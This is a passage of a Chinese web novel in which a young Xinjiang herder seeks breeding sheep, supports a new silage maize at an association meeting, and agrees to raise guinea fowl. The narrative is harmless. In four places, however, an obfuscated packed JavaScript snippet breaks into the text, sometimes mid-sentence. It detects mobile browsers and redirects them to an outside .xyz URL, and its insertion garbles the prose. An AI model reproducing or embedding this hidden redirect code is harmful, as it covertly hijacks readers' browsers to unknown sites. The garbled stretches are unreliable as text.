赵媛媛认同地点头，想到之前的事情不免多了两分抱怨，“可不是嘛，大家也都是为了咱们畜牧业能有更好的发展，之前协会请了教授过来讲课，好几个养殖户不仅不好好听，还总觉得自己是对的，教授是错的。人家教授倒也不因为这个生气，反而跟他们分析这样做的原理，但那几个人一看说不过了，就开始耍赖皮说一些类似‘我读书少嘴巴没你厉害说不过你’这种话，把人气得不行！” 想到什么她眼睛一亮，“也是巧，明天咱们协会请了新疆农科院的一位同志过来推广他们新研发的一种青贮玉米，你有兴趣来听听吗？其实咱们挺久之前就已经给会员们通知到位了，你才加入，我差点都给忘了！” 赵媛媛性格大大咧咧的，姚新泉自然不在意这个，“明天吗？那如果确定比较合适的话，种子也可以通过咱们协会向农科院购买吗？” 赵媛媛点头，“自然是可以的，我听他们说，这个青贮玉米已经在不少地方试种过，效果还不错，亩产也不低，所以这次上面想要大规模地推广，你要是感兴趣你就来听听，就算不感兴趣，认识认识行业的人也不错！” 她转回了自己前台的位置处，从抽屉里掏出两颗糖来塞给姚新泉，自己也剥了一颗塞在嘴里，“我看你年纪估计跟我也差不多大，应该才毕业吧？就算你跟着家里人学过养殖，但是多认识认识那些老的养殖户们其实也不错！” 姚新泉自然感谢她的好意，“那你明天给我留个位置啊！明天几点？” “早晨11点，那你是回去明天再来还是？”她前面看了姚新泉牧场的位置，要是回去再来还真挺折腾的。 姚新泉也是这样想的，幸好今天跟马合木提江夫妇说好了，自己晚上要是没回来他们就再照顾一天，所以晚上不回去倒也不打紧。 再说了，她还想留下来盯一盯湖羊的事情呢！ 另一边赵强把几人送出去后就翻出了浙江省畜牧业行业协会会长程峰的办公室电话打了过去，他一说来意，那边立马把湖州市协会的电话给了他，赵强又联系了过去。 可这次事情不是很顺利，接电话的人一听想要购买本地湖羊种羊立马就拒绝了，也没给个正经理由，反正就是不乐意，随后便把电话挂了。 赵强再打过去的时候便没人接了，他这下火了，你要真给个理由也就算了，他好歹也是一个市协会的会长，亲自打过去，就这样不明不白地被挂了电话？ 想了想赵强也生气了，又给浙江省协会的会长打了过去，程峰听到是赵强还以为事情成了来感谢自己呢，他笑道，“怎么样，那边能给多少？” 赵强都被气笑了，此时也毫不掩饰地告状，“程会长，你说这事也弄得我挺尴尬的。这事儿不是我非得引进湖羊，你说我们新疆本地也不缺羊不是？种羊场也有不少，像离我这边也就三四十公里就有一家萨伊普种羊场，那也是国营单位，每年从它那边出去的种羊最起码是有几十万头的，我是没做过繁育工作的，要我说不如就直接进咱们萨伊普种羊场出来的羊羔子，保不准还有售后呢！” 程峰皱了皱眉，心想这人在这瞎扯一通到底要讲什么？ 就听赵强接着道，“但这也不是我想养，是我们这边协会的一个会员，别看人家年纪不大，但人家本事真不小，又是联系了我们农大的教授给她做技术指导，又是搞定了一种国外的羊的引进渠道，讲不好听一点人家背后这都有政府给背书了，她就看上了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603372|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们湖州的湖羊，我也没办法，只能帮她解决问题。” 这话说的姚新泉都要以为自己是什么行业二代、皇太子或者皇太女了！ 那边程峰也听出不对了，本身这位他提到的养殖户如何跟自己是没有什么关系的，可现在听这话锋，是没办成？ 程峰没忍住问道，“怎么了，湖州协会那边不同意牵线？” 问完又觉得不对，不至于啊！这可是打开他们湖羊局面的一个大好机会，他不信那些人不明白！ 从古至今但凡提起哪里的羊肉好吃，大家第一反应都是新疆或者内蒙的，哪里有他们湖羊的份儿？不少人还觉得他们这边的羊膻味重，没人家的好吃，名头也就是行业内有点儿水花，外人知道的少。 如今有这么个机会，虽说未必能有什么成就，但是试试也是好的啊！凭什么不干？ 赵强叹了口气，那口气叹得曲里拐弯的，莫名闹得程峰心里也不高兴了，“可不是吗？你说他要是跟我讲没有了或者别的正当理由我也就不说什么了，人家说了一堆我也闹不明白是什么意思，他就把电话给我挂了，再打人家就直接不接了，你说我有什么辙？” “赵会长，你等等，我先挂了你这边去问问是怎么回事！”程峰黑着脸撂下了电话。 赵强看着电话冷笑一声，想到什么他赶紧出去找姚新泉，“小姚，你过来一下，我有点事情想跟你说。” 等姚新泉过来之后他把事情的经过跟她说了之后才道，“我是想着感觉你应该也有一些自己的门道，你不如找人问问这里面到底有什么事儿？” 他倒是可以等程锋那边的结果，但是他担心的是这里面别涉及到一些他们协会内部的破烂事儿，万一程锋把事情压下来了，他们还在这傻傻等着，这不耽误时间吗？ 湖羊是要用来产下第一批杂交羊羔的母本，得这边繁育出来，并且长大了，后面才能再进行三元杂交。 时间就是金钱，可一点不能耽搁。 姚新泉皱了皱眉，怎么就复杂成这样了，可她还是跟赵强道谢便离开了。 出了协会之后她想了想还是给师月江打了个电话，说明了今天的事情。 师月江正在看他哥给他的公司资料呢，接到电话后赶忙道，“你别担心，我这就安排人去湖州一趟，先查清楚是协会在居中捣乱还是什么其他的问题。你是想从国营种羊厂引进种羊还是从私营的？我让他多留一阵子，等把羊送上火车之后再回来。我再把你的电话给他，等他到了那边之后有事直接跟你沟通成吗？” 姚新泉被逗笑了，“行，就当莱尼的寄养费了！” 谁知这次师月江反倒是很敏感，赶忙道，“不行，我跟莱尼的费用，以后我给你打工还债，这次只是我出于朋友的身份帮忙而已。” 姚新泉沉默了一会儿，电话那边的师月江心都提起来了，她才道，“好。” 49. 第 49 章 张立扬挂了电话后眉头轻轻皱了起来，“怎么了，这副表情？”刘兵见张立扬站在自己办公桌前面心里不大高兴，自己这里确实没有什么不可见人的东西，但是自己这个主人不在，他跑到自己位置那里去是想做什么？ “没什么”，他敷衍过去后想了想还是问，“二叔，金太阳种羊场那边差不多搞定了，政府什么时候能同意家里的收购方案？这事儿也拖了一段时间了，我担心拖得太久的话事情万一黄了……” 刘兵狠狠瞪了他一眼之后拉开门四下打量了一下，这才关上门低声呵斥，“你胡说八道什么呢！这里是你能放肆的地方吗？” 这个蠢东西！ 老天爷可真是不公平，这种蠢货家里竟然那么有钱，现在还想把国营的种羊场盘下来！ “二叔你也太谨慎了些”，张立扬不以为意，他跟张立扬又不是直系亲属关系，他媳妇儿是张立扬的侄女儿，也是因为她，自家才能搭上刘兵的路子。 刘兵不仅是协会的会长，同时也在种羊场里兼职了一个顾问的工作，在那里还是说的上话的。 自家想要以最低的价格收购下种羊场，接手场里的牲畜、地皮及其他财产，还得砍掉多数的员工，这些可都要指望着刘兵在里面周旋呢！ 这两年种羊场的效益愈发不好了，这跟许多原因都有关系。对于种羊场的员工来说自然是晴天霹雳，可如果自家能以远远低于市场的价格收购种羊场，那对自家来说可就是一个机遇了。 因此张立扬是绝对不允许现在还有别的个人或者单位向种羊场订购种羊的！ 两人又聊了几句后刘兵赶紧把张立扬送走了，这个管不住嘴的家伙，迟早会给自己带来大麻烦！ 姚新泉很是信任师月江，不仅因为他自己，也因为他背后的资源，所以引进湖羊的事情就暂时由他那边去安排人处理吧！ 第二天下午姚新泉早早就到了协会，赵媛媛笑着拉着她往会场里走，“我看已经来了不少人了，我爸让我跟你说萨伊普种羊场的人也来了，国营单位的人都傲气”，赵媛媛嘴上这样说，可脸上是掩饰不住的嫌弃，姚新泉见状笑了起来。 赵媛媛拉了她一下，低声道，“本来就是嘛，一个个鼻孔都长到脑袋顶上了，也不知道在傲什么！早两年也就算了，咱们市太偏了，什么都是人家先开始推广，等落地一段时间后咱们再跟着做。年初的时候上面发文要对国企内部采取‘破三铁’的运动，甭管是铁饭碗还是铁交椅或者铁工资那都成了过去式了，进去国企了又怎么样，不一样会下岗？咱们年轻人下岗还能出去找工作，他们那种四五十岁的人家私企也不会要啊！还一个个那么牛！” 过年的时候她相了一位男同志，对方是带着他母亲去的，她母亲四十来岁也就是国企的普通员工，连个中层领导都算不上，那个牛气啊！想想就来火！ “我听说这次的运动逼得这些国企也都在内部纷纷做改革，萨伊普种羊场之前都不对个体户开放，今年也开放了，我觉得你可以去跟人家聊一聊。” 赵媛媛给她使了个眼色，以前萨伊普种羊场哪里参加过这种小活动，她估计着他们这次过来也是想着能打开一些销售渠道。 姚新泉心里琢磨了一会儿后跟她道谢，“你消息真灵通，帮我大忙了！回头请你吃饭！” 阿勒泰种羊可以私下寻摸或者是找萨哈列那边，但是家里那一批新疆细毛羊也可以配种了。 新疆细毛羊属于季节性发情的牲畜，自然发情更集中在秋季，大概是8月到10月这样。但是姚爸姚妈当时买的这批小羊那时候还没成熟呢，没办法配种。 现在其实已经一岁半差不多就能配了，如果春天配的话，秋天大概能产崽。如果在等到秋天配种的话，明年春天接春羔，这又得耽误一年！ 能不能改善羊毛质量暂且不提，如果只指望着这批羊一年剪个两三次羊毛，撑死了一年回1万块，这还是毛利润，扣掉杂七杂八的还能剩几个钱？ 多耽误一年那就是在浪费啊！ 所以姚新泉考虑了很久还是决定在春天给羊配种，但是问题也不小。 春天羊群的自然发情率不算太高，可能得人工干预，尽量不使用激素吧，不然又得增加成本！ 其实姚新泉不知道的是，家里这批羊也是姚爸姚妈看价格合适捡漏来的，他们最开始的设想是买1岁多的羊羔，这样去年秋天就能配种。 但这批羊价格确实合适，哪怕多养一年都亏不了所以他们才入手的。 姚新泉进了会场之后不少人都看了过来，本以为是协会的工作人员，可看到她坐在了参会区域时众人不免惊讶，这么年轻的小丫头也是牧民？还是她是代表哪个企业过来走个形式的？ 牧民跟企业员工在外形上还是有一定区别的，他们市的牧民绝大多数都是少民，穿得相对正式一点的便是穿了件军大衣，穿得随意一些的，有的裹着羊皮袄子就来了。 而那些单位的员工们，基本上都穿得还比较体面，两拨人泾渭分明，姚新泉自然是直接坐到了牧民那边。 “你也是牧民吗？”听到身边的人在跟自己说话，姚新泉笑着朝他点了点头，“你好，我是阿依巴勒县的牧民，我叫姚新泉。” “阿依巴勒？姓姚？”那人愣了愣又仔细打量姚新泉的长相，突然拍了下大腿，“你是姚晓军的女儿？” 姚新泉瞪大了眼睛，“你认识我爸？” 阿合买提用力点头，表情也亲切了许多，他从羊皮袄子口袋里掏出两个奶疙瘩塞给她，“我自己家的你尝尝，你阿爸最喜欢吃我家的奶疙瘩了！你阿爸呢，他怎么没来？” 姚新泉握着酸奶疙瘩的手紧了紧，“我父母去年因为交通事故意外离世了。” 阿合买提脸上是掩饰不住的震惊跟伤心，“晓军，晓军他”，他张了张嘴半晌没说出话来，也没了跟姚新泉聊天的心情，坐回了自己的位置没再说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608805|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚新泉不认识这位同志，但是也很正常，她爸爸的朋友特别多，因为父母一起走了，很多人她都不认识，自然不会去主动联系告知父母的情况，所以事实上虽然当时两人的葬礼已经来了许多人，但还是有不少人还不知道二人的死讯的，就像阿合买提一样。 她摇了摇头不再去想别的，目光放到了旁边正在和其他人说话的一个中年男性身上，听旁人讲，他是萨伊普种羊场的饲养管理员。姚新泉也没急着去搭话，既然他们种羊场已经决定将市场向个体户开放，实在不行到时候自己找上门去也一样，今天最重要的还是了解青贮的问题。 下午四点活动准时开始，赵强给大家介绍了今天活动的主讲人，也就是新疆农科院的一名研究（实习）员，据说今天要宣讲的这个青贮玉米就是他们团队研发的。 姚新泉掏出本子认真记笔记，她心里比较着今天推广的新青1号青贮玉米跟自己之前想要买的中单2号，听起来好像新青1号更好一点。 就听研究员继续道，“新青1号是我们团队九零年才研发出来的一款青贮玉米，目前已经在兵团农场以及一些牧场小范围地试种过了，效果都还不错。而且这个品种相对中科院改良的中单2号来说更适合咱们新疆绝大多数地区。这种品种更加耐寒、抗旱，北疆大部分地区无霜期短，中单2号更适合相对气温比较高的地区，对水肥也有一定要求，这几项上新青1号都更好一些。” 姚新泉暗暗点头，确实是这样。她了解过中单2号是一种兼用型玉米，籽粒和秸秆都比较高产，但主要问题就是对水肥的要求高。 她的牧场里有流淌经过的河流，沿途如果要种确实可以，但也有那种相对干旱一些的地区，那边才是自己需要补种牧草的重点区域。那边用水也比较费劲，自己如果真的要种中单2号，难不成还得在牧场上开渠或者备上配套的滴灌设备？ 成本太高了，谁家这样养羊啊！ 这也是她一直纠结没有定下来的主要原因。 青贮玉米除了之前看好的中单2号以外，还有几种种子需要国外进口的青贮她也比较喜欢，但还是那个问题，成本太高了。 除了青贮玉米之外，她还考虑苜蓿跟燕麦，但各有各的问题吧！综合来讲，青贮她还是更考虑玉米，别的也就是搭着。 “你讲了这么多你咋不说说这东西亩产多少？什么价格？你光说好处，谁不知道好处，这也不能只看到好处吧？” 姚新泉的思绪被打断，忍不住看向说话的人，是一个裹着羊皮袄子的老汉，看上去五十来岁的样子，手里的旱烟杆子一敲一敲的，瞧着很是不高兴。 赵强皱了皱眉，怎么又是他！刚想说什么就见研究员笑了笑，“同志你别着急，咱们想推广一种产品，那肯定是要把各方各面都讲到，再由你们去考虑是否要引进，是否符合你们牧场的需求。” 听了这话众人纷纷点头，确实，这事儿不可能强制的。 50. 第 50 章 “同志你别着急，我接下来就要给你介绍这个”，孙磊前年刚从农大研究生毕业就进了自治区农科院，从事一些辅助科研活动。 这个新青1号虽然是他们团队研发的，但是他进入的时候已经进入尾声了，所以真说起来他不觉得这里面有自己的功劳在。 这次领导安排他们这些实习人员出来从事一些推广活动他就心里很虚，现在有人提意见了他更是额头都渗出汗来了。 “目前根据在各地小范围推广的情况来看，新青1号的产量大约在4-5吨/亩，当然了这都跟各地的气候、土质、肥力等等有关系。不过目前在昌吉、塔城还有伊犁等地试种效果都还不错。” “至于用量的话，目前来看每亩地所需的种子差不多在2-2.3公斤，这也跟种植的密度跟地块条件有关，不过基本上是够了的。” “价格的话，目前农科院能给到的价格就是3.8元一公斤，全疆都是这个价格，如果种植得较多，我们农科院也是会提供技术指导的。” “同志，你们这价格可比咱们本地的一些种子贵多了，咱们自己在外面买苞谷种子最多也就2块一公斤，你这不是坑人吗？”一老汉不高兴道，这给牲畜吃得咋比给人吃得还贵！哪有这样的！ “是啊，这也太贵了，我承包了300亩的牧场，这样算下来就得要一千多块的种子，我卖五六头羊要是行情不好都卖不到一千块呢！” “可不是！咱们养了一辈子羊了，这羊什么时候吃什么，咱们哪能不知道？冬天都有提前准备的麦草、牧草，弄什么青贮！” “还有，我们老老实实放牧，这领导就跑到家里去要求我们加这个协会，不加还不行！这还不是免费的，一年就要几百块！你说我们要是加了你能真为我们老百姓干点事情倒也行，你看看你们，你们这不是变着法子捞钱吗？我们就想养点牛羊，赚得都是辛苦钱！血汗钱！你们就不能别折腾我们老百姓吗？” 孙磊见下面吵起来了很是茫然的同时不免看向赵强，此时赵强心里也很不痛快。 协会是政府牵头的，那政府必然是会向下面的基层要求他们去动员养殖户。 可他们要求的是动员！不是强迫！ 但赵强自己心里也清楚，什么时候都免不了层层加码，这上面说鼓励养殖户加入协会，进行科学养殖，到了最下面就变成必须加入协会，否则不让你干养殖了！ 姚新泉看着周围吵成一片也有些无奈，这些养殖户最少也有二三十年的养殖经验，要说他们不懂养殖，姚新泉自己都不信。 科学养殖不代表要把他们从前的所有经验都摒弃掉，相反是为了让养殖户更具有竞争力，这是好事，不能让大家有这种抵触情绪。 新旧观念交替时的阵痛是难免的，但只要未来是好的，那就得更新理念，科学养殖。 她的目光扫到对面那些“正规军”身上时，就见他们一个个脸上都是毫不掩饰的鄙夷，这让姚新泉心里不痛快了。 见上面两人一时没有出声，姚新泉自己突然站了起来拍了拍手，“各位，我先自我介绍一下，我是阿依巴勒县的养殖户，我叫姚新泉，我相信在座的诸位中应该有人认识我父母姚晓军跟苏永华。在我父母意外离世后，我在去年下半年接手了我家承包下来的四千亩的牧场。” 众人见有人出来说话便也渐渐听了争执，听到她提到姚晓军的名字又提到姚晓军的意外，不少人都很是唏嘘，倒也都安静下来听她说话。 “我是大学生，但我学的不是畜牧相关专业，我的大多数养殖知识还是从我父母那里学来的，也就是咱们北疆本地养殖户这么些年传下来的老经验，因为这些经验我才能才敢去经营一家牧场。” “但是仅有一些老经验是不够的，社会在发展，科学技术每时每秒都在革新。大家本来站在同一个起跑线上，但人家学了新的能提高产能提高经济效益的办法咱不学？谁不想多赚点钱？” “可能有些同志会说咱们几十年甚至上百年都是这样养下来的，怎么养羊还要人教？”见不少人点头她笑了笑，“可老话里不是还有那么一句吗，家财万贯带毛的不算！为啥这样说？就是因为养殖有风险啊！要完全一成不变按照老经验来，那你们说，国家要求咱给牲畜打口蹄疫的疫苗、打布病的疫苗、打炭疽疫苗这些都是为什么？不都是为了减少咱养殖户的损失？这不都是科学养殖？在座的各位有谁又能拍着胸脯说不用国家给牲畜打？” 众人脸色变了变，怎么不用？那肯定用啊！不说别的，这布病可是人畜共患病呢！ 台上的赵强见到场面被安抚下来后脸上也多了几分笑意，“小姚同志说得没错，注射疫苗算是科学养殖的一方面，大家也都接受了疫苗，那为什么不能接受别的呢？” 第一个说话的老汉看着姚新泉想了想，突然问道，“小丫头，那你说你有按照科学养殖的方法来吗？赚到钱了吗？” 姚新泉笑着点头，“我家去年9月多份买了80头羯羊，当时平均每只35公斤左右，我养到了12月底，育肥的时候分了前期、中期、后期，随时调整牲畜的饲料，3个月左右我的羊平均每只大概58公斤左右，增重了23公斤，平均每天增重差不多250克到半公斤。” 众人一片哗然，他们育肥三个月最多也就增重15公斤左右，别看这一只差五六公斤的肉，一百只，一千只那就不一样了啊！ “你怎么养的？这个我们能学吗？”老汉双眼放光地盯着她。 姚新泉谦虚地笑了笑，“我就是按照科学的方法考虑到了育肥所需的营养不同时期有不同的饲料配比。不过我刚也说了我也只是个新手，刚好咱们会长也在，不如就让会长之后组织更专业的人来给咱们讲一讲怎么科学养殖？会长你看行吗？” 赵强自然没有不乐意的，他们协会不怕组织活动，就怕不组织或者组织了没人来！ 但现在看大家都还挺感兴趣的样子他自然是乐意的，“这样，我之后联系一下咱们农业跟畜牧业的相关部门，尽快组织相关培训，为咱们养殖户能科学养殖、提高经济效益尽一份力！” 姚新泉带头鼓掌，众人也都跟着鼓起掌来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614551|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怕大家以为她藏私，姚新泉又解释道，“我也都是从书上看的，那些书也基本都是农大的教授或者农科院的研究员们出版的，如果大家有兴趣，我回头把书名告诉大家，你们可以想办法找回去看看！” “我说得有点多了，耽误大家时间了”，她不好意思地笑了笑，“可是我还是想提一句关于咱们今天的主题，也就是青贮饲料的事情。确实有的朋友会觉得没有必要，这会增加咱们养殖户的成本。但是就像我刚才说得，如果使用了科学的饲料配比能让牛羊增重更快，那对咱们养殖户来说可不是天大的好事儿！” “咱们从前到了冬天那就只是去晒干一些牧草、麦草之类的，但是比起干饲料，青贮饲料无论是在营养上还是在适口性上都远远超过了干饲料。至于为什么不用普通苞谷做青贮饲料，我也说一下我的见解。主要也是因为普通苞谷成熟之后那个秸秆比较粗，吃多了牲畜没办法消化。而且咱们家里的那种苞谷就是为了吃苞谷棒子的，营养也都在苞谷粒上，所以这种秸秆跟叶子也没有专门做青贮饲料的好，产量也没有青贮玉米的高。咱们做这么多不就是为了能让牛羊肥一点重一点吗？咱们人都是吃了有营养的东西才能长胖，那牛羊你天天给人家吃没营养的，人家怎么可能给你好好长！” 姚新泉耳朵好，听到有人小声嘀咕自古以来大家都是这样养羊的，她轻笑一声，“我还得跟大家解释一下，这用青贮饲养牲畜可不是咱们近些年科学发展起来之后慢慢出现的。早在咱们中国1500多年前的北魏时期，有一本咱们中国现存最早也最完整的综合性农书《齐民要术》里就记载过类似青贮法的一些办法去延长饲料的保存时间，真深究下来，这可是咱们老祖宗留下来的办法啊！” 众人哗然，1500多年前就有记载？ 孙磊脸上写满了惊讶，他怎么也没想到来这么一个偏远的市里工作竟然会遇到这么一位懂得真多的女士，还是一名养殖户！ 他接上了姚新泉的话，“这位同志说得没错，《齐民要术》中确实提到了‘窖麦法’、‘积茭法’，跟咱们现在提到的青贮是有一定相似性的。” 毕竟是来宣讲青贮饲料的，如果因为他没工作好导致大家不接受新青1号或者直接抗拒青贮饲料，那他可真是罪过大了！ “我今天来推广新青1号的种子不是说一定要强迫大家去种植这种青贮饲料，而是给大家提供一种相对来说更现代化更科学的喂养方式。但是无论怎样都得结合咱们自身条件或者牧场条件来！况且咱们牧场本身也有牧草，就算种植也不可能在整个牧场上种满青贮的，就像这位同志家里4000亩牧场，总不能种四千亩吧？” 众人闻言笑了起来，会场气氛也渐渐好了，等结束后姚新泉率先去订购了50亩的种子，也就不到200块。 孙磊最后还提到了目前有些大型牧场都在尝试在青贮饲料里使用益生菌添加剂，但这玩意儿确实贵，现在一公斤要三五百块钱谁用得起？ 还是以自然发酵为主吧！实在不行，放点儿自制的老面进去也一样能促进发酵！ 51. 第 51 章 会议结束的还算顺利，不少人来找姚新泉要联系方式，她提前准备好的名片也派上了用场。 就连孙磊也主动来找她，“姚同志，今天真是多谢你了！” 他很是感激，这次算是他为团队第一次出来独当一面，如果没做好的话，虽然未必会影响他的工作，但是难免会给人留下难当大任的印象。 他对自我认知还比较清晰，孙磊自认并不是一位专业能力多高超的人，至少跟团队里的其他前辈没办法比，那这样的话他就更要有被留下来的价值了。 姚新泉笑着摇了摇头，“主要也是新青1号确实不错，无论是产量还是对咱们新疆气候的适应性都算是目前来说拔尖的，那我就没有不支持的道理。” 在会议上最先说话的老汉还没走，他凑到孙磊的身边，苍老的脸上有一大片被冻过的痕迹，泛着红。 “研究员啊，咱们这种植青贮饲料是不是都得用机子去种跟收割啊？咱们小养殖户哪里来的钱去用机械？太贵了啊！” 孙磊赶忙道，“老人家，不是一定要用机械的，目前东北那边基本上是全都采用了机械化收割，有专门的青贮收割机，配合铡切、压实等机械进行工作。咱们新疆的话也就少量兵团地区有用机械化生产，这种模式效率高，也适合大规模的生产。” “但是这成本也高，所以不少地区还都是采用的人工收割，成本低一些，咱们农民或者牧民用镰刀收割了青贮作物后，用铡草机切碎，再人工装填、窖藏。确实会费劲儿一些，但是便宜啊！” 有时候人工其实是最不值钱的资源了，可以人工割两天就不要用机器割一天。 也许是因为姚新泉最先说话，所以老汉又看向姚新泉似乎是想问询她的意见。姚新泉想了想后还是道，“我觉得这个还是看各自的情况，如果觉得犁地麻烦，可以租了机器请了师傅过来犁地播种，之后人工收割。或者咱们养牲口的家里都有牛，套上车去犁地也一样的。” “这青贮也只是特殊在是用来喂牲口的，不是给人吃的，但说到底不就是种庄稼嘛？要是咱牧民实在不会，那再想办法问问那些家里有地的看他们是怎么种的，或者跟他们一起租犁地机跟收割机，这样应该也能便宜一些。反正怎么方便怎么来就成！” 老汉想了想后点头，留下一句“你跟你阿爸一样心善”后就离开了。姚新泉哭笑不得，她爸爸真是无处不在啊！ 两人又聊了几句后也互相留了联系方式，孙磊这才离开。 赵强让姚新泉先去自己办公室等他，等送走孙磊之后他才赶回了办公室。 “姚同志你今天是真让我刮目相看啊！”赵强满脸都是赞叹，各个方面，无论是在专业素养还是行事风范上她看起来都不像一位初出茅庐的小姑娘！ “湖羊的事情我这边再帮你打听打听”，说起这事他心里还怪别扭的，人家就是冲着希望他们协会在中间帮忙做做工作的想法加入协会的，结果现在人家帮了自己的忙，结果自己倒没帮上对方！ 想到这里他更是尴尬了，“也未必一定要湖州，我再跟他们省协那边打听打听，看看周边各市哪里的湖羊好”，毕竟湖羊虽然叫湖羊，但是也并不仅仅只是在湖州一个地区有，周边地区那是都有的。 姚新泉自然没有拒绝他的好意，也没提自己已经找人帮忙了的事情，赶紧道谢，“真是麻烦你了，为了我的事情一再找那边。” 赵强摆了摆手不是很在意道，“你要是真培育出良种来，那反而是打响了他们湖羊的名号呢！说起牛羊来，他们可远远比不上咱们！” 突然想到什么赵强眼睛一亮，“你那牧场挺大的，你有考虑过除了牛羊再养点鸡鸭吗？” 姚新泉点头，自然是想过的，“我打算在牧场上养些伊犁鹅还有草原绿头鸭，还打算引进点儿藏鸡。” 赵强想了想这几种家禽的特性后不得不感慨着小姑娘是真的有点儿东西啊！ 伊犁鹅就不用说了，这本来就是本地的品种，耐寒、耐粗饲，非常适合在草原上散养，而且抗病能力很强。 草原绿头鸭的话虽然不是本地品种，比不得本地的鸭子，但是比起南方的鸭子来说还是耐寒性要强一些的，既然她想养那说明牧场上肯定是不缺水源的，也就冬季麻烦一点，平时也能散养。 藏鸡更不用说了，那本来就是西藏那边的品种，适应高寒气候，抗病能力强。 这几种牲畜都适合散养，除了气候异常太热或者太冷的情况下需要人工干预，平时基本散养就可以，成本低。主要是防范防范天敌，问题都不太大。 “我相信你心里也有数，做好轮牧，别破坏牧场就行”，到底是承包了三十年，这也才刚开始，如果这就把草场破坏了，未来恢复起来会很麻烦的。 姚新泉点头，刚想说什么就听他道，“我这边有一种家禽，不是咱们本地品种，但是也挺不错的，养好了经济效益也不低，叫珍珠鸡，你考虑吗？” 主要也是听她说家里4000亩的牧场，虽然牧场这么大肯定有一部分是没办法好好利用的，但是能利用的地方也不会少，不用这不是在浪费资源吗？ “珍珠鸡？”姚新泉眉心一动，她倒是听说过这种鸡，不过不说本地了，新疆应该目前都没多少人养殖吧？ “珍珠鸡原产于非洲，所以这种家禽耐旱，更适合温暖干燥的气候，在咱们本地养的话过冬是个问题，饲养难度不算小。” “但是珍珠鸡的肉质细嫩，蛋白质含量比较高，脂肪含量低，蛋类也营养丰富，不过蛋类产量不高。这种鸡还是以散养为主，可以以谷物、青草、昆虫为食，饲料的转化率比较高，总的来讲经济效益不低。” “目前咱们自治区协会想要引进一批珍珠鸡，你如果有想养殖的意向可以跟我说，我这边能给你弄来一批，你怎么想的？” 姚新泉怎么想的？自然是同意啊！ 先不说她本身就觉得养珍珠鸡是很有经济效益的，单从这个事情本身来看就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618779|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很有意义。 参与这种政府或者相关部门牵头的项目，政府搞不好就会有相关补贴来给养殖户降低初期的投入成本。而且搞不好还会有技术兜底呢！毕竟如果养殖户干了结果血本无归项目本身没办法落地对他们来说也不是好事。 到时候不管是接受自治区级的一些技术培训还是市级的培训对她一个新手来说绝对是不可多得的学习的机会啊！ 与此同时还能提升自己的科学管理水平、获得更为成熟的养殖技术规范，减少了自己的试错成本，就算珍珠鸡养得不好，对自己养殖别的家禽来说肯定也是有利的。 另外虽然不知道珍珠鸡这个项目会不会有，但是之前有的项目官方那边还会给销售渠道呢！ 一个项目，投入少，货源、技术、销售全部给考虑好了，为什么不做？ 做！必须得做！ “只要我满足加入的条件那我肯定愿意做！” 听了她的话赵强满意地笑了，之前他遇到过一些傻蛋，那是真的傻蛋，他给了对方机会，但是对方总能找各种借口推拒，又是没钱了又是没地又是没技术，总之有各种理由不愿意养，想到就让人生气！ “那行，我这边帮你联系，申报材料基本用你提交到协会的就行，你也提前做点准备工作，等回头安排好了你就等着接收就成！” 姚新泉心里高兴，连连说了不少好话这才打道回府。 不过说起来既然都要养珍珠鸡了，那干脆就把别的家禽一起购入，到时候给牧场划分一块儿单独的范围用来养家禽。 她家里承包下来的牧场非常大，以如今的牛羊等牲畜的数量对草场的利用最多也就1000亩左右。不过后期还得留几片专门用来搞繁育，湖羊母羊、杜泊羊、阿勒泰羊、湖羊和杜泊羊结合的一代杂交羊、最终的三元杂交羊，这些都得分开饲养，也方便她进行观察和照料。 家禽也得跟牲畜分开，毕竟双方的病原体种类不同，混养的话容易导致病毒传播变异，给自己造成损失。而且羊也就算了，牛要是踩一下鸡鸭，那肯定立马就死，所以必须得分开。 这样一来等天气暖和一些之后就得立马把牧场划分区域了，虽然又会产生一些成本，可是划分了也好，方便轮牧，也不会对草场造成太大的破坏。 